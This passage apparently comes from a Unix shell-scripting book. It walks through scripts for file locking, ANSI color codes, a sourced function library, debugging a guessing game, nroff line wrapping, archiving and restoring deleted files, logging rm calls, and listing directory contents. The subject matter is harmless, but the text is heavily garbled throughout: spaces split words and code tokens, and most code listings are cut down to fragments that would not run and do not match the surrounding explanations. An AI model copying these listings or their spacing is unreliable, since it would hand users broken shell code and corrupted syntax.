lock file and can therefore modify the base file safely. If another script with the same loop sees your lock, it will spin
until the lock file vanishes. However, this doesn't in fact work, because while it seems that scripts are run without being
swapped out while other processes take their turn, that's not actually true. Imagine what would happen if, just after the
d on e in the loop just shown, but before the to u ch, this script was swapped out and put back in the processor queue
while another script was run instead. That other script would dutifully test for the lock file, find it missing, and create its
own version. Then the script in the queue would swap back in and do a t o uc h , with the result that two scripts would
both think they had exclusive access, which is bad.
Fortunately, Stephen van den Berg and Philip Guenther, authors of the popular pr o cm ai l email filtering program,
include a loc kf ile command that lets you safely and reliably work with lock files in shell scripts.
Many Unix distributions, including Linux and Mac OS X, have l oc kf il e already installed. You can check whether
your system has l oc kfi le simply by typing m a n 1 l ock f i le . If you get a man page, you're in luck! If not,
download the p ro cma il package from ht tp :/ / w ww. p r ocm a il . or g/ and install the l o ck fi l e command on
your system. The script in this section assumes that you have the lo c kf il e command, and subsequent scripts
(particularly in Chapter 7, "Web and Internet Users") require the reliable locking mechanism of Script #10.
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
c at < < E OF >& 2
U sa ge: $0 [- l|- u] [-r ret ries] loc k f ile n a me
W he re - l r eq ues ts a l ock (the d efa u l t), - u re qu e st s a n u nl oc k , -r X
s pe cif i es a max im um n umbe r of r etr i e s b e f or e it fa il s ( d ef au l t = $ re tr i es ).
E OF
e xit 1
fi
e xi t 0
The Results
First, create a locked file:
$ f ile l ock / tmp /e xclu sive .lck
$ l s - l /t mp /ex cl usiv e.lc k
- r- -r- - r-- 1 t ay lor whe el 1 Mar 2 1 1 5 : 35 / tm p /e xc l us i ve .l c k
The second time you attempt to lock the file, f ile l o ck tries the default number of times (ten) and then fails, as
follows:
$ f ile l ock / tmp /e xclu sive .lck
f il elo c k : F ail ed : Co uldn 't cr e ate l ock f i le i n t im e
When the first process is done with the file, you can release the lock:
$ f ile l ock - u / tm p/ex clus ive.l c k
To see how the fil el ock script works with two terminals, run the unlock command in one window while the other
window spins trying to establish its own exclusive lock.
This is unlikely to affect you, but loc kfile doesn't work with NFS-mounted disks. In fact, a reliable file locking
mechanism on an NFS-mounted disk is quite complex. A better strategy that sidesteps the problem entirely is to create
lock files only on local disks.
#11 ANSI Color Sequences
Although you probably don't realize it, your standard terminal application supports different styles of presenting text.
Quite a few variations are possible, whether you'd like to have certain words in your script displayed in bold, or even in
red against a yellow background. However, working with ANSI (American National Standards Institute) sequences to
represent these variations can be difficult because these sequences are quite user unfriendly. Therefore, this script
fragment creates a set of variables, whose values represent the ANSI codes, that can turn on and off the various color
and formatting display capabilities.
The Code
# !/ bin / sh
b lac k f=" ${ esc }[ 30m" ; redf= " ${e s c }[3 1 m "; g re en f =" $ {e sc } [3 2m "
y ell o wf= "$ {es c} [33m " bluef = "${ e s c}[ 3 4 m" ; p ur pl e f= " ${ es c }[ 35 m "
c yan f ="$ {e sc} [3 6m"; white f ="$ { e sc} [ 3 7m "
b lac k b=" ${ esc }[ 40m" ; redb= " ${e s c }[4 1 m "; g re en b =" $ {e sc } [4 2m "
y ell o wb= "$ {es c} [43m " blueb = "${ e s c}[ 4 4 m" ; p ur pl e b= " ${ es c }[ 45 m "
c yan b ="$ {e sc} [4 6m"; white b ="$ { e sc} [ 4 7m "
How It Works
If you're used to HTML, you might be a bit baffled by the way these sequences work. In HTML, you open and close
modifiers in opposite order, and you must close every modifier you open. So to create an italicized passage within a
sentence displayed in bold, you'd use the following HTML:
< b> thi s is i n b ol d an d <i >this is i t ali c s </ i> w i th in th e b ol d </ b>
Closing the bold tag without closing the italics wreaks havoc and can crash some Web browsers. But with the ANSI
color sequences, some modifiers replace the previous modifier, and all modifiers are closed with a single reset
sequence. With ANSI sequences, you must make sure to output the reset sequence after colors and to use the "off"
feature for anything you turn on. Using the variable definitions in this script, you would write the previous sequence as
follows:
$ {b old o n}t hi s i s in b old and $ { ita l i cso n } th is i s
i ta lic s ${i ta lic so ff}w ithi n the bol d $ {re s e t}
c at << EOF
$ {y ell o wf} Th is is a p hras e in y ell o w ${r e d b} a nd re d$ { re s et }
$ {b old o n}T hi s i s bold ${ul on} t h is i s it a l ic s$ {r e se t} by e b ye
$ {i tal i cso n} Thi s is i tali cs${i t ali c s off } an d th i s is no t
$ {u lon } Thi s is ul ${ul off} and t his i s n o t
$ {i nvo n }Th is is i nv${ invo ff} a n d t h i s i s no t
$ {y ell o wf} ${ red b} Warn ing I ${y e llo w b }${ r e df }W ar n in g I I$ { re se t }
E OF
The Results
The appearance of the results isn't too thrilling in this book, but on a display that supports these color sequences it
definitely catches your attention:
T hi s i s a ph ras e in y ello w and red
T hi s i s bo ld th is is ital ics b y e b y e
T hi s i s it al ics a nd t his is no t
T hi s i s ul a nd th is i s no t
T hi s i s in v and t his is n ot
W ar nin g I Wa rni ng II
If you do, the problem might be that your terminal or window doesn't support ANSI color sequences, but it also might
simply be that the \03 3 notation for the all-important e s c variable isn't understood. To remedy the latter problem,
open up the script in the v i editor or your favorite editor, replace the \ 03 3 sequence with a ^V sequence, and then
press the ESC key. You should see ^ [ displayed, so the results on screen look like e sc =" ^ [" and all should work
fine.
If, on the other hand, your terminal or window doesn't support ANSI color sequences, you might want to upgrade so
that you can add colorized and type-face-enhanced output to your other scripts.
#12 Building a Shell Script Library
Many of the scripts in this chapter have been written as functions rather than as stand-alone scripts so that they can
be easily and gracefully incorporated into other scripts without incurring the overhead of making system calls. While
there's no #in clu de feature in a shell script, as there is in C, there is a tremendously important capability called
sourcing a file that serves the same purpose.
To see why this is important, let's consider the alternative. If you invoke a shell script within a shell, by default that
script is run within its own subshell. You can immediately prove this experimentally:
$ c at t iny sc rip t. sh
t es t=2
$ t est = 1
$ t iny s cri pt .sh
$ e cho $te st
1
Because this script changed the value of the variable tes t within the subshell running the script, the value of the
existing t est variable in the current shell's environment was not affected. If you instead use the "." source notation to
run the script, it is handled as though each command in the script was typed directly into the current shell:
$ . ti n ysc ri pt. sh
$ e cho $te st
2
As you might expect, if you have an exit 0 command within a script that's sourced, for example, it will exit that shell
and log out of that window.
The Code
To turn the functions in this chapter into a library for use in other scripts, extract all the functions and concatenate them
into one big file. If we call this file l ibra ry.s h , a test script that accesses all of the functions might look like this:
# !/ bin / sh
# L ibr a ry te st sc ript
. l ibr a ry. sh
i ni tia l ize AN SI
e ch o " "
e ch on " Ent er a ye ar y ou t hink m igh t be a le ap y e ar : "
r ea d y e ar
e xi t 0
Notice that the library is incorporated, and all functions are read and included in the run-time environment of the script,
with the single line
. l ibr a ry. sh
This is a useful approach in working with the many scripts in this book, and one that can be exploited again and again
as needed.
The Results
$ l ibr a ry- te st
F ir st o ff, d o y ou hav e ec ho in you r pat h ? ( 1= ye s , 2= n o) 1
T he ec h o c om man d is i n th e PAT H .
E nt er a ye ar yo u thin k mi ght b e a l e ap y e ar : 43 2 42 3
Y ou r v a lue i s t oo big : la rgest acc e p tab l e v al ue is 9 9 99
P le ase ent er a ye ar i n th e cor r ect f orm a t : 43 2
Y ou 're rig ht ! 4 32 was a l eap y e ar.
On your computer screen, the error messages just shown will be a bit more blunt because their words will be in bold,
and the correct guess of a leap year will be displayed in green.
#13 Debugging Shell Scripts
Although this section does not contain a true script per se, it's a good place to spend a few pages talking about some
of the basics of debugging and developing shell scripts, because it's a sure bet that bugs are going to creep in!
The best debugging strategy I have found is to build scripts incrementally. Some script programmers have a high
degree of optimism that everything will work right the first time, but I find that starting small, on a modest scale, can
really help move things along. Additionally, liberal use of ech o statements to track variables, and using the -x flag to
the shell for displaying debugging output, are quite useful. To see these in action, let's debug a simple number-
guessing game.
The Code
# !/ bin / sh
# h ilo w -- A si mp le n umbe r-gue s sin g gam e
b ig ges t =10 0 # m ax im um nu mb e r p os si b le
g ue ss= 0 # g ue ss ed by p l ay e r
g ue sse s =0 # n um be r o f gu e ss e s ma d e
n um ber = $(( $$ % $b igge st) # r an do m n um be r , b et we e n 1 a nd $ b ig ge s t
w hi le [ $g ue ss -n e $n umbe r ] ; do
e cho -n "G ues s? " ; rea d ans w er
i f [ "$g ue ss" - lt $ numb er ] ; th e n
ec h o " .. . b ig ger! "
e lif [ " $g ues s" -gt $nu mber ] ; t h en
ec h o " .. . s ma ller !
fi
g ues s es= $( ($g ue sses + 1 ))
d on e
e xi t 0
It worked, but it's not very random. A moment's thought reveals why that is: When the command is run directly on the
command line, the PID is always the same. When run in a script, the command is in a different subshell each time, so
the PID varies.
The next step is to add the basic logic of the game. A random number between 1 and 100 is generated, the player
makes guesses at the number, and after each guess the player is told whether the guess is too high or too low until he
or she figures out what number it is. After entering all the basic code, it's time to run the script and see how it goes,
using exactly the code just shown, warts and all:
$ h ilo w
. /0 13- h ilo w. sh: l ine 19: unexp e cte d EOF w hi le l o ok in g f o r ma t ch in g ` "'
. /0 13- h ilo w. sh: l ine 22: synta x er r o r: u n ex pe ct e d en d o f f il e
Ugh; the bane of shell script developers: an unexpected EOF. To understand what this message means, recall that
quoted passages can contain newlines, so just because the error is flagged on line 19 doesn't mean that it's actually
there. It simply means that the shell read merrily along, matching quotes (incorrectly) until it hit the very last quote, at
which point it realized something was amiss. In fact, line 19 is perfectly fine:
$ s ed - n 1 9p hi lo w
e ch o " R igh t! ! G ue ssed $nu mber i n $ g u ess e s g ue ss e s. "
The problem, therefore, must be earlier in the script. The only really good thing about the error message from the shell
is that it tells you which character is mismatched, so I'll use gre p to try to extract all lines that have a quote and then
screen out those that have two quotes:
$ g rep '"' 0 13- hi low. sh | egre p -v ' .*" . * ". *'
e ch o " . .. sm all er !
That's it: The close quote is missing. It's easily fixed, and we're ready to go:
$ h ilo w
. /0 13- h ilo w. sh: l ine 7: u nexpe c ted E OF w h il e lo o ki ng fo r m at c hi ng `) '
. /0 13- h ilo w. sh: l ine 22: synta x er r o r: u n ex pe ct e d en d o f f il e
Nope. Another problem. Because there are so few parenthesized expressions in the script, I can eyeball this problem
and ascertain that somehow the closing parenthesis of the instantiation of the random number was mistakenly
truncated, as the following line shows:
n um ber = $(( $ $ % $ bigg est ) # r an do m n um b er , b et w ee n 1 a nd $b ig g es t
This is fixed by adding the closing parenthesis. Now are we ready to try this game? Let's find out:
$ h ilo w
G ue ss? 33
. .. bi g ger !
G ue ss? 66
. .. bi g ger !
G ue ss? 99
. .. bi g ger !
G ue ss? 100
. .. bi g ger !
G ue ss? ^C
Because 100 is the maximum possible value, there seems to be a logic error in the code. These errors are particularly
tricky because there's no fancy gr ep or se d invocation to identify the problem. Look back at the code and see if you
can identify what's going wrong.
To try and debug this, I'm going to add a few e c ho statements in the code to output the number chosen and verify that
what I entered is what's being tested. The relevant section of the code is
e cho -n "G ues s? " ; rea d ans w er
i f [ "$g ue ss" - lt $ numb er ] ; th e n
In fact, as I modified the e cho statement and looked at these two lines, I realized the error: The variable being read is
a ns wer , but the variable being tested is called g u e ss. A bonehead error, but not an uncommon one (particularly if
you have oddly spelled variable names). To fix this, I change r e ad a ns w er to r ea d g ue ss .
The Results
Finally, it works as expected.
$ h ilo w
G ue ss? 50
. .. bi g ger !
G ue ss? 75
. .. bi g ger !
G ue ss? 88
. .. sm a lle r!
G ue ss? 83
. .. sm a lle r!
G ue ss? 80
. .. sm a lle r!
G ue ss? 77
. .. bi g ger !
G ue ss? 79
R ig ht! ! Gu es sed 7 9 in 7 g uesse s .
However, a call to the v al idin t function shown in Script #5 is what's really needed.
Chapter 2: Improving on User Commands
Overview
A typical Unix or Linux system includes hundreds of commands, which, when you factor in starting flags and the
combinations of commands possible with pipes, should produce millions of different ways to work on the command line.
Plenty of choices for anyone, right? Well, no. In fact, for all its flexibility, you can't always get what you want.
Unlike other operating systems, however, with Unix you can usually cobble together something that'll do the trick quite
easily, whether it's downloading some nifty new version of a utility with additional capabilities (particularly from the great
GNU archive at htt p: //w ww .gnu .org /), creating some aliases, or dipping your toe into the shell scripting pond.
But before we go any further, here's a bonus script. If you're curious about how many commands are in your PATH,
this simple shell script will do the trick:
# !/ bin / sh
f or di r nam e in $m yPAT H ; do
d ire c tor y= "$( ec ho $ dirn ame | sed ' s/~ ~ / / g' )"
i f [ -d "$ dir ec tory " ] ; the n
fo r co mm and i n $( ls " $dire c tor y " ) ; d o
i f [ - x " $d irec tory /$com m and " ] ; t he n
co un t=" $( ($co unt + 1)) "
e lse
no ne x=" $( ($no nex + 1)) "
fi
do n e
fi
d on e
e xi t 0
This script counts the number of executable files, rather than just the number of files, and reveals that Red Hat Linux 8
ships with 1,203 commands and 4 nonexecutables in a standard PATH, Mac OS X (10.2, with the developer options
installed) has 1,088 commands and 25 nonexecutables, and Solaris 9 has an impressive 1,700 commands with 42
nonexecutables in the default PATH.
The scripts explored in this chapter are all similar to the simple script just given in that they add fun or useful features
and capabilities without an overly high degree of complexity. Some of the scripts accept different command flags to
allow even greater flexibility, and some also demonstrate how a shell script can be used as a wrapper, a program that
intercedes to allow users to specify commands or command flags in a familiar notation and then translates those flags
into the proper format and syntax required by the actual Unix command.
There's no question that the different flavors of Linux and Unix offer a large number of commands and executable
scripts. Do we really need to add new ones? The answer is really based on the entire Unix philosophy: Unix is built
upon the idea that commands should do one thing, and do it well. Word processors that have spell-check, find-file, and
email capabilities might work well in the Windows and Macintosh world, but on the command line, each of these
functions should be separate and discrete. There are lots of advantages to this strategy, the most important being that
each function can then be modified and extended individually, giving all applications that utilize it access to its new
capabilities.
This strategy holds true across the board with Unix, and that's why the scripts in this chapter and throughout the
book not only are helpful, but are a logical extension of the entire Unix philosophy. After all, 'tis better to extend and
expand than to build complex, incompatible versions of commands for your own installation.
#14 Formatting Long Lines
If you're lucky, your Unix system already includes the f m t command, a program that's remarkably useful if you work
with text with any frequency. From reformatting email to filling in paragraphs in documents (that is, making sure that as
many words as possible are on each line of the text), fm t is a helpful utility to know.
But some Unix systems don't include fm t, particularly legacy systems at universities, which often have a fairly
minimalistic implementation. As it turns out, the n rof f command, which has been part of Unix since the very
beginning, can be utilized in a short shell script to achieve the same result of wrapping long lines and filling in short
lines to even up line lengths.
The Code
# !/ bin / sh
n ro ff < < E OF
. ll ${ w idt h: -72 }
. na
. hy ${ h yph :- 0}
. pl 1
$ (c at " $@" )
E OF
e xi t 0
How It Works
This succinct script offers two different command flags, - w X to specify that lines should be wrapped when their width
exceeds X characters (the default is 72) and - h to enable hyphenation, filling the lines more and improving the final
results. Notice the test to check for starting flags: A w hil e loop uses ge t op t s to step through the options, then
uses s h ift $ (($ OP TIN D - 1) ) to throw all the arguments away once they've been processed.
The other, perhaps more important technique demonstrated here is the use of a here document to feed multiple lines
of input to a command. The odd double-input-redirect sequence n ro ff << EO F allows you to easily have a here
document, a section of the script that's treated as if it were typed in on the command line. Using the here document, the
script outputs all of the necessary n roff commands and then calls the c at command with the requested filename or
filenames to process. The ca t command's output is then fed directly to n r of f . This is a technique that will appear
frequently in the scripts presented in this book, and it's one well worth experimenting with!
The Results
The following example enables hyphenation and specifies a maximum width of 50 characters:
$ f mt - h - w 50 01 4-ra gged .txt
S o she sat o n, wi th c lose d eye s , a n d ha l f b el ie v ed
h er sel f in W ond er land , th ough s he k n ew s h e ha d b ut
t o ope n th em ag ai n, a nd a ll wo u ld c h ang e to d ul l
r ea lit y --t he gr as s wo uld be on l y r u s tli n g i n th e
w in d, a nd th e p oo l ri ppli ng to the w avi n g o f th e
r ee ds- - the r att li ng t eacu ps wo u ld c h ang e to t in -
k li ng s hee p- bel ls , an d th e Que e n's s hri l l c ri es
t o the voi ce of t he s heph erd b o y-- a n d t h e s ne ez e
o f the bab y, th e shri ek o f the Gry p h on, a nd a ll
t he ot h er qu eer n oise s, w ould c han g e (s h e k ne w) to
t he co n fus ed cl am our of t he bu s y f a r m-y a r d- -w hi l e
t he lo w ing o f t he cat tle in th e di s t anc e wo ul d
t ak e t h e p la ce of the Moc k Tur t le' s hea v y s ob s.
Compare this with the following ouput, generated using the default width and no hyphenation:
$ f mt 0 14- ra gge d. txt
S o she sat o n, wi th c lose d eye s , a n d ha l f b el ie v ed h e rs e lf i n
W on der l and , tho ug h sh e kn ew sh e ha d but t o op en th em ag a in , a nd a l l
w ou ld c han ge to d ull real ity-- t he g r ass w ou ld b e o nl y r u st li n g in th e
w in d, a nd th e p oo l ri ppli ng to the w avi n g o f th e r ee d s- - th e r at tl i ng
t ea cup s wo ul d c ha nge to t inkli n g s h e ep- b e ll s, a n d th e Q u ee n' s s hr i ll
c ri es t o t he vo ic e of the shep h erd b oy- - a nd t he sn ee z e o f th e b ab y , th e
s hr iek of th e G ry phon , an d all the o the r qu ee r n oi se s , w ou ld ch an g e (s h e
k ne w) t o t he co nf used cla mour o f t h e bu s y f ar m- y ar d- - wh i le t h e lo w in g o f
t he ca t tle i n t he dis tanc e wou l d t a k e t h e p la ce of t h e M oc k T ur tl e 's
h ea vy s obs .
#15 Archiving Files As They're Removed
One of the most common problems that users have with Unix, in my experience, is that there is no way to recover a file
or folder that has been accidentally removed. No Norton Unerase, no Mac OS X shareware utility, nada. Once you
press RETURN after typing r m xy z, it's history.
A solution to this problem is to secretly and automatically archive files and directories to a . de le t ed -f i le s
archive. With some fancy footwork in a script, this can be made almost completely invisible to users.
The Code
# !/ bin / sh
i f [ ! -d $m ydi r ] ; then
i f [ ! - w $HO ME ] ; the n
ec h o " $0 fa il ed: can' t cre a te $ m ydi r in $ HO M E" > & 2
ex i t 1
fi
m kdi r $m yd ir
c hmo d 70 0 $my di r # a li t tle b it o f p ri va c y, p l ea s e
fi
f or ar g
do
n ewn a me= "$ myd ir /$(d ate "+%S. % M.% H . %d. % m ") .$ (b a se na m e " $a rg " )"
i f [ -f "$ arg " ] ; then
$c o py "$ arg " "$ne wnam e"
e lif [ - d "$a rg " ] ; th en
$c o py "$ arg " "$ne wnam e"
fi
d on e
e xe c $ r eal rm $f la gs " $@" # o u r s h e ll i s r ep la c ed by r e al rm
How It Works
There are a bunch of cool things to consider in this script, not the least of which is the significant effort it goes through
to ensure that users aren't aware it exists. Notice that error messages are almost always generated by a call to
r ea lrm with whatever bad flags or file/directory names were specified. Also, the ex ec command, which replaces the
current process with the new process specified, is a convenience. As soon as e xe c invokes r e al rm , it effectively
exits the script, and we have the added side benefit of ensuring that the return code from the re al r m process
(/ bin / rm) is given to the invoking shell, not lost.
Because this script secretly creates a directory in the user's home directory, it needs to ensure that the files therein
aren't suddenly readable by others simply because of a badly set um as k value. To accomplish this, the script uses
c hm od to ensure that the directory is set to read+write+execute for the user, and closed for everyone else.
Finally, the somewhat confusing file-naming convention uses bas e na m e to strip out any directory information from the
file's path, and adds a time and date stamp to every deleted file in the form second.minute.hour.day.month.filename:
n ew nam e ="$ my dir /$ (dat e "+ "%S.% M .%H . % d.% m " ). $( ba s en am e " $ ar g" ) "
Notice the use of multiple $() elements in the same substitution. It's a bit complicated, perhaps, but helpful
nonetheless. Remember, anything between $ ( and) is fed to a subshell, and the result of that command is what's
substituted. Why bother with a timestamp? To enable our archive to store multiple files that could potentially have the
same name prior to being deleted.
The Results
The results of running this script are subtle and hidden from immediate view, so let's keep an eye on the .d el e te d-
f il es directory along the way:
$ l s ~ / .de le ted -f iles
l s: /U s ers /t ayl or /.de lete d-fil e s/: N o s u c h fi le or d i re c to ry
$ n ewr m fi le -to -k eep- fore ver
$ l s ~ / .de le ted -f iles /
5 1. 36. 1 6.2 5. 03. fi le-t o-ke ep-fo r eve r
Exactly right. While the file was deleted from the local directory, a copy of it was secretly squirreled away to the
. de let e d-f il es directory, with an appropriate date/ time stamp to allow other deleted files with the same name to
be stored in the same directory.
#16 Working with the Removed File Archive
Now that a directory of deleted files and directories is hidden within the user's account home, a script to let the user
pick and choose between these deleted files would clearly be useful. However, it's quite a task to address all the
possible situations, ranging from no matches to one match to more than one match. In the case of more than one
match, for example, do you automatically pick the newest file to undelete? Indicate how many matches there are and
quit? Present data on the different versions and let the user pick? Let's see what we can do....
The Code
# !/ bin / sh
d es t=$ ( pwd )
i f [ ! -d $m ydi r ] ; then
e cho "$0 : No de lete d fi les d i rec t o ry: n ot hi ng to u n rm " > &2 ; ex i t 1
fi
c d $my d ir
i f [ $ # -e q 0 ] ; the n # no ar g s, j u st s h ow l is t in g
e cho "Co nt ent s of y our delet e d f i l es a r ch iv e ( so rt e d b y da t e) :"
l s - F C | s ed -e 's/ \([[ :digi t :]] [ [ :di g i t: ]] \. \ )\ {5 \ }/ / g' \
-e 's/ ^/ /'
e xit 0
fi
i f [ $ m atc he s - eq 0 ] ; t hen
e cho "No m atc h for \"$1 \" in the d ele t e d fi le ar ch i ve . " >& 2
e xit 1
fi
i f [ $ m atc he s - gt 1 ] ; t hen
e cho "Mo re th an one fil e or d ire c t ory m at ch i n t he ar c hi ve : "
i nde x =1
f or n ame i n $ (l s -t d *" $1")
do
da t eti me ="$ (e cho $nam e | c u t - c 1 -14 | \
awk - F. '{ pri nt $ 5"/"$ 4 " a t "$3 " : "$ 2" :" $ 1 }' ) "
if [ - d $na me ] ; the n
s ize =" $(l s $nam e | wc -l | s e d 's / [ ^[ :d ig i t: ]] / /g ' )"
e cho " $i nd ex) $1 (co n ten t s = $ { si ze } i te ms , d e le te d = $ d at et i me )"
el s e
s ize =" $(l s -sdk 1 $n ame | awk ' {pr i n t $1 }' ) "
e cho " $i nd ex) $1 (si z e = $ {si z e }K b, d e le te d = $d at e ti me ) "
fi
in d ex= $( ($i nd ex + 1))
d one
e cho ""
e cho -n "W hic h vers ion of $1 do y o u w a n t to r e st or e ( ' 0' t o q ui t )? [ 1 ] : "
r ead des ir ed
i f [ ${d es ire d: =1} -ge $inde x ] ; the n
ec h o " $0 : R es tore can celed by u s er: i nd ex v a lu e t oo bi g. " > &2
ex i t 1
fi
r est o re= "$ (ls - td1 *"$1 " | s e d - n "${ d e si re d} p ") "
e xi t 0
How It Works
The first chunk of code, the i f [$# -eq 0 ] conditional block, executes if no arguments are specified, displaying
the contents of the deleted files archive. However, there's a catch. We can't display the actual filenames because we
don't want the user to see the timestamp data used internally to guarantee unique filenames. In order to display this
data in a more attractive format, the s ed statement deletes the first five occurrences of digit digit dot in the ls output.
If an argument is specified, it is the name of a file or directory to recover. The next step is to ascertain how many
matches there are for the name specified. This is done with the following statement:
m at che s ="$ (l s * "$ 1" 2 > /d ev/nu l l | w c - l ) "
The unusual use of quotes in the argument to ls ensures that this pattern will match filenames that have embedded
spaces, while the '* ' wildcard pattern is expanded properly by the shell. The 2 > / d ev /n u ll ensures that any
error resulting from the command is discarded rather than shown to the user. The error that's being discarded is most
likely No such file or directory, caused when no match for the specified filename is found.
If there are multiple matches for the file or directory name specified, the most complex part of this script, the if [
$ ma tch e s - gt 1 ] block, is executed, displaying all the results. Using the - t flag to the l s command in the
main f o r loop causes the archive files to be presented from newest to oldest, and a succinct call to the a wk
command translates the date/time stamp portion of the filename into the deleted date and time information in the
parentheses. The inclusion of the -k flag to l s in the size calculation forces the file sizes to be represented in
kilobytes:
s iz e=" $ (ls - sdk 1 $nam e | awk ' { pri n t $1 } ' )"
Rather than displaying the size of matching directory entries, which would be meaningless, the script displays the
number of files within each matching directory. The number of entries within a directory is actually quite easy to
calculate, and we chop the leading spaces out of the w c command output, as follows:
s iz e=" $ (ls $ nam e | wc -l | sed 's/ [ ^ [:d i g it :] ]/ / g' )"
Once the user specifies one of the possible matching files or directories, the corresponding exact filename is identified
by the following statement:
r es tor e ="$ (l s - td 1 *" $1" | sed -n " $ {de s i re d} p" ) "
This statement contains a slightly different use of s ed. Specifying the - n flag and then a number ($ {d e si re d })
followed by the p print command is a very fast way to extract only the specified line number from the input stream.
The rest of the script should be fairly self-explanatory. There's a test to ensure that u nr m isn't going to step on an
existing copy of the file or directory, and then the file or directory is restored with a call to /b i n/ mv . Once that's
finished, the user is given the chance to remove the additional (probably superfluous) copies of the file, and the script is
done.
The Results
Without any arguments specified, the script shows what's in the deleted files archive:
$ u nrm
C on ten t s o f you r dele ted files arc h i ve ( s or te d b y da t e) :
d eit r us thi s is a te s t
d eit r us gar b age
When a filename is specified, the script displays more information about the file, as follows:
$ u nrm dei tr us
M or e t h an on e f il e or dir ector y ma t c h i n th e ar c hi ve :
1) d eit ru s (s ize = 76 88Kb, del e t ed = 11 /2 9 a t 10 : 00 : 12 )
2) d eit ru s (s ize = 4K b, de l ete d = 1 1 / 29 a t 0 9: 59 : 51 )
The Code
# !/ bin / sh
# log r m - L ogs a ll f ile delet i on r e que s t s un le s s th e - s f la g i s u se d.
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $0 [-s ] li st of fil e s or d ir ec to r ie s" >& 2
e xit 1
fi
e xi t 0
You can also use an alias to have this script wrap a standard call to r m :
a li as r m=l og rm
In either case, you will, of course, need write and execute access to / va r /l o g, which might not be the default
configuration on your particular Unix or Mac OS X system.
The Results
Let's create a few files to delete, delete them, and then examine the remove log:
$ t ouc h un us ed. fi le c iao. c /tm p /ju n k it
$ l ogr m un us ed. fi le / tmp/ junki t
$ l ogr m ci ao .c
$ c at / var /l og/ re move .log
T hu Ju l 3 1 1:3 2: 05 M DT 2 003: s usa n : /t m p /c en tr a l. lo g
F ri Ju l 4 1 4:2 5: 11 M DT 2 003: t ayl o r : u n u se d. fi l e /t m p/ j un ki t
F ri Ju l 4 1 4:2 5: 14 M DT 2 003: t ayl o r : c i a o. c
Aha! Notice that on the previous day user sus a n deleted the file / tm p/ c en t ra l. l og .
Two other possible solutions to this problem are worth mentioning. First, if you have an ext2 or ext3 file system
(probably Linux), you can use the ch attr command to set a specific append-only file permission on the log file and
then leave it writable to all without any danger. Second, you can write the log messages to s ys l og , using the helpful
l og ger command. To log the rm commands with lo g g er is straightforward:
l og ger -t lo grm " ${US ER:- LOGNA M E}: $ *"
This adds an entry to the s yslo g data stream (untouchable by regular users) that is tagged with lo g rm , the
username, and the command specified.
Syslog nuances to watch for If you opt for this approach, you'll want to check s ys l og d( 8 )
to ensure that your configuration doesn't discard
u s er. n o ti ce priority log events (it's almost always specified
in the / e t c/ s ys l og d .c on f file).
#18 Displaying the Contents of Directories
While the ls command is a cornerstone of working with the Unix command line, there's one element of the command
that's always seemed pointless to me: indicating the size of a directory. When a directory is listed, the program either
lists the directory's contents file by file or shows the number of 1,024-byte blocks required for the directory data. A
typical entry in an ls -l output might be
d rw xrw x r-x 2 t aylo r tayl o r 4 0 9 6 Oc t 2 8 19 : 07 bi n
But that's really not very useful, because what I want to know is how many files are in the specified directory. That's
what this script accomplishes, generating a nice multicolumn listing of files and directories that shows file size with file
entries and the number of files with directory entries.
The Code
# !/ bin / sh
g mk ()
{
# Gi v en in put i n Kb , ou tput i n K b , Mb , or G b f or b e st ou tp u t fo r ma t
i f [ $1 -g e 1 00 0000 ] ; then
ec h o " $( scr ip tbc -p 2 $1 / 100 0 0 00) G b "
e lif [ $ 1 -ge 1 000 ] ; then
ec h o " $( scr ip tbc -p 2 $1 / 100 0 ) Mb"
e lse
ec h o " ${ 1}K b"
fi
}
i f [ $ # -g t 1 ] ; the n
e cho "Us ag e: $0 [di rnam e]" > & 2; e x it 1
e li f [ $# -e q 1 ] ; t hen
c d " $ @"
fi
f or fi l e i n *
do
i f [ -d "$ fil e" ] ; the n
si z e=$ (l s " $f ile" | w c -l | se d 's/ [ ^ [: di gi t :] ]/ / g' )
if [ $ si ze -e q 1 ] ; then
e cho " $fi le ($s ize entry ) |"
el s e
e cho " $fi le ($s ize entri e s)| "
fi
e lse
si z e=" $( ls -s k "$ file " | a w k ' { p rin t $1 }' )"
ec h o " $f ile ( $(gm k $s ize)) | "
fi
d on e | \
s ed ' s/ /^ ^^/ g' | \
x arg s -n 2 | \
s ed ' s/\ ^\ ^\^ / /g' | \
a wk - F\| ' { p ri ntf "%-3 9s %- 3 9s\ n " , $ 1 , $ 2 }'
e xi t 0
How It Works
One of the most interesting parts of this script is the g m k function, which, given a number in kilobytes, outputs that
value in kilobytes, megabytes, or gigabytes, depending on which unit is most appropriate. Instead of having the size of
a very large file shown as 2083364KB, for example, this function will instead show a size of 2.08GB. Note that gm k is
called with the $ () notation in the following line:
e ch o " $ fil e ($( gm k $s ize) )|"
Because the arguments within the $() sequence are given to a subshell of the running script shell, subshells
automatically inherit any functions defined in the running shell.
Near the top of the script, there is also a shortcut that allows users to specify a directory other than the current
directory and then changes the current working directory of the running shell script to the desired location, using c d .
This follows the mantra of good shell script programming, of course: Where there's a shortcut, there's a better way.
The main logic of this script involves organizing the output into two neat, aligned columns. You can't make a break at
spaces in the output stream, because files and directories can have spaces within their names. To get around this
problem, the script first replaces each space with a sequence of three carets (^ ^ ^). Then it uses the x ar g s command
to merge paired lines so that every two lines become one line separated by a space. Finally, it uses the aw k command
(rather than pa st e, which would just intersperse a tab, which rarely, if ever, works out properly because p as t e
doesn't take into account variation in entry width) to output columns in the proper alignment.
Notice how the number of (nonhidden) entries in a directory is easily calculated, with a quick se d invocation cleaning
up the output of the w c command:
s iz e=$ ( ls "$ fil e" | w c -l | se d 's / [ ^[: d i gi t: ]] / /g ')
The Results
$ f orm a tdi r ~
A pp lic a tio ns (0 e ntri es) C la ss es (4 Kb )
D EM O ( 5 en tr ies ) D es kt op (8 e n tr i es )
D oc ume n ts (3 8 e nt ries ) I nc om pl e te ( 9 e n tr ie s )
I nt erm e dia te HTM L (3 e ntri es) L ib ra ry (3 8 e nt r ie s)
M ov ies (1 en try ) M us ic ( 1 e nt r y)
N et Inf o (9 e ntr ie s) P ic tu re s ( 38 en t ri es )
P ub lic (1 en try ) R ed Ha t 7 .2 ( 2 .0 8 Gb )
S ha red (4 en tri es ) S yn ch ro n iz e! Vo l um e I D (4 K b)
X D esk t op (4 Kb) a ut om at i c- up d at e s. tx t ( 4K b )
b in (3 1 en tr ies ) c al -l ia b il it y .t a r. gz (1 04 K b)
c bh ma. t ar. gz (3 76 Kb) e rr at a ( 2 en t ri e s)
